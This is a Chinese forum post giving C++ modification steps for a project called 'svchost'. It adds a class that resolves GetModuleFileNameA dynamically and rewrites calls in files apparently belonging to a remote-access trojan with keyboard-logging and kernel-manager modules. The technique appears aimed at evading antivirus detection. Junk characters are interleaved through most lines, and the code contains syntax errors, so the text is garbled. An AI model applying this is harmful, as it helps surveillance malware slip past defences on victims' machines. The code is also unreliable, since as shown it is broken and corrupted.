返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记" L) ]0 M$ g% @9 M( H- c1 J% L5 @
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h1 H0 W. K" Y( _8 _, l  w5 h1 X
----------------------------------------7 E2 g* Z( }( |1 x: l+ E
DTDY.h:
! X/ p; P6 M" Q8 G) N; S4 V( q
2 B; l% d, O1 g#if _MSC_VER>10001 c5 b0 O% B8 o# b$ }
#pragma once
8 ?( ?$ F6 L9 f# H+ S! l#endif //_MSC_VER>1000' T0 U$ @, ~; I% q% v; G5 L
#include<windows.h>  L% F3 p! }3 o5 r0 e  @9 `) e* T
) `; K4 K, g6 u/ ~, x& ^
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);& K: i) f2 I% r" k5 G' J. \
class DTDY6 K+ V+ ?' C0 G" T+ s9 A, {6 f* {
{
5 T* D* _; u" ]3 X( Dpublic:# {' j* g3 h- ~3 ^0 s( f& ?
DTDY();
1 [( M' X% Q. C2 U# h6 r8 Ovirtual ~DTDY();  G" `1 P7 m* k7 U* b  v
public:: r. s. J5 G4 v  ~$ I
static pGetModuleFileNameA MyGetModuleFileName;
$ I% C% s) l0 J$ o& u/ S+ Wstatic BOOL FunInitiallization();$ w8 I5 |. y- m3 C' H- K
};
* e8 u8 z- G" y- V! r, |! ^#endif
8 C7 E4 p- s% J* T$ Q----------------------------------------" e, M/ {: {3 ~% L

6 z1 k. V/ E1 K; s. W7 i* IDTDY.cpp:2 F3 i/ d& U5 S! \% ^& L+ w8 |: c! X, z

& ?( }6 M% {* M6 z% F# {* H#include "DTDY.h"
+ [( D6 I0 ]& y: B  A- RpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
& O, x4 p- N  w9 |( s4 qDTDY:TDY()
& l/ G# j; I' x; x" k' h{( O! _5 ?9 Y& O7 U8 o, B0 {. D
}
9 g( |2 W, ]4 g6 O/ KDTDY::~DTDY()
% e6 a1 R0 P# p. l* |" u/ @( v{
1 }; d' T6 r6 F}3 y0 m0 i# E# [* b3 R# I
BOOL DTDY::FunInitiallization()5 e8 q+ H" o. @' S$ x
{
) @( n3 o: t2 u! D  v" \HMODULE hModule=LoadLibrary("kernel32.dll");
# \+ v+ R+ Q% F8 c2 i) PMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");" m( D" Z% h" w0 f$ [
if(!MyGetModuleFileName=) return FALSE;
8 R" M5 O" _% ^& c2 b. J, t6 ?
7 R& |6 _, B0 d$ ~# i  Nreturn TRUE;
* }! ~' b8 i$ u6 W; P}
$ b( {3 O) ?; a8 k2 x- {- ]----------------------------------------
9 F& a1 |9 m7 c9 c( xsvchost.cpp:6 _) l) h. M* C
0 @% @! v5 G9 m8 j; m" y
#include "DTDY.h"
) F+ s4 y! D+ Y6 ~  ]+ I( {2 t  v* C7 s% K2 I
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved): p+ v% l5 ]! z3 G7 U' E6 w
{
% W* ^' ?% P" O' I7 N6 J! _/ f' Bswitch(ul_reason_for_call)
/ B- Q) S" O' w2 [{
7 X8 t7 F# R$ z( Qcase DLL_PROCESS_ATTACH:
/ f# L% [$ f: N$ L1 Fif(!DTDY::FunInitiallization()) return FALSE;/ n3 g0 ~% Y6 S, k1 l1 S
$ e0 L& k, A% F$ ]( Q3 p1 Q+ w. `
break;/ y6 Y, w; B3 k" z% I0 s$ l
}8 L" J, J8 K1 M$ v8 g
}
) s" T+ a6 \/ c- a) ^3 j$ |& @1 h; {) x# w9 T  t
2 |- d9 ?0 g& y* j2 O8 ~5 c' X7 i
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def5 y, H" R# L/ D/ P" f
改写为
, L% m$ `$ ?' ~' o% A. dDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
6 l2 m& L: ]  k: I, l% y) G4 v----------------------------------------
9 ?  w0 t! W/ qKernelManager.cpp:& q  X6 j: i# ]

+ r# y9 T% P9 \, L7 r#include "../DTDY.h"5 D4 Z* e) g- y& i& C, |6 }
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
. l$ y" P0 }/ Z" _  B改写为* g7 H9 T4 n5 t3 K
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
1 y: J$ e9 q( K: t; ^% T----------------------------------------

返回列表